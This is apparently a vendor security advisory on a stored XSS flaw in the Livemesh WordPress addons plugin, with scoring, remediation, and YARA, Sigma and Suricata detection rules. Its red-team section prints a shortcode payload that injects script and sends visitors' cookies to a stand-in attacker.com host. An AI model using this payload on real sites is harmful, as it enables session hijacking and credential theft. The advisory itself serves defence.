CVE-2024-2079

Executive Summary

CVE-2024-2079 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery Page Builder Addons by Livemesh WordPress plugin, affecting versions up to and including 3.8.1. The flaw resides in the per_line_mobile shortcode attribute, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, leading to potential session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. No NPM, PyPI, Go, or Ruby packages are involved. Users should verify the integrity of their plugin installations and ensure they are sourced from trusted channels.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction for exploitation. The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as proof-of-concept code emerges.

Deep Dive & Mechanics

The vulnerability exists in the per_line_mobile attribute of a shortcode provided by the Livemesh Addons plugin. The plugin fails to properly sanitize user-supplied input and escape output when rendering this attribute. An attacker with contributor-level access can craft a post or page containing a malicious shortcode, such as:

[livemesh_element per_line_mobile="1\"><script>alert('XSS')</script>"]

When the page is rendered, the injected script executes in the context of any visitor's browser. The stored nature means the payload persists in the database, affecting all subsequent visitors.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.8.1): The plugin likely uses a function like shortcode_atts() without proper escaping. For example:

$per_line_mobile = $atts['per_line_mobile'];
echo '<div class="per-line-mobile-' . $per_line_mobile . '">';

Patched Code (Hypothetical): A secure version would escape the attribute before output:

$per_line_mobile = esc_attr($atts['per_line_mobile']);
echo '<div class="per-line-mobile-' . $per_line_mobile . '">';

Or use wp_kses() for additional sanitization.

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress instance with Livemesh Addons <= 3.8.1, a contributor-level account.
2. Craft Payload: Create a post with a shortcode containing malicious JavaScript:

   [livemesh_element per_line_mobile="1\"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

3. Trigger: Publish the post. Any user viewing the post will execute the script.
4. Exfiltration: The script sends cookies to an attacker-controlled server.

Blue Team

1. Detection: Monitor for posts containing suspicious shortcode attributes (e.g., per_line_mobile with script tags).
2. Containment: Immediately unpublish or delete any posts with malicious shortcodes.
3. Forensics: Review database entries in wp_posts for injected scripts.
4. Mitigation: Disable the plugin until a patch is applied, or implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/livemesh-addons/ (presence of vulnerable version)
• Database: Entries in wp_posts.post_content containing per_line_mobile with script tags or event handlers.
• Network: Outbound connections to domains not associated with the site (e.g., attacker.com).
• Logs: HTTP requests to pages containing the malicious shortcode, with Referer headers from internal pages.

Detection Engineering

YARA Rule

rule CVE_2024_2079_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting per_line_mobile attribute in Livemesh Addons"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2079"
    strings:
        $payload1 = /per_line_mobile\s*=\s*["'][^"']*<script/i
        $payload2 = /per_line_mobile\s*=\s*["'][^"']*on\w+=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2079 Stored XSS in Livemesh Addons
id: 8a3f7c2e-1b4d-4e5f-9a0b-2c3d4e5f6a7b
status: experimental
description: Detects stored XSS via per_line_mobile shortcode attribute
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "per_line_mobile"
        http.url|contains|re: "(<script|onerror|onload|onclick)"
    condition: selection
falsepositives:
    - Legitimate use of per_line_mobile with numeric values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2079 Stored XSS in Livemesh Addons"; flow:to_server,established; content:"per_line_mobile"; http_uri; pcre:"/per_line_mobile\s*=\s*["'][^"']*(<script|on\w+=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the WPBakery Page Builder Addons by Livemesh plugin until a patched version is released.
2. Short-term: Implement a WAF rule to block requests containing per_line_mobile with script tags or event handlers.
3. Long-term: Update the plugin to a patched version (when available) or replace it with an alternative.
4. User Education: Restrict contributor-level access to trusted users only.
5. Monitoring: Continuously monitor for XSS payloads in post content and shortcode attributes.

Valters IT
Securing Digital Frontiers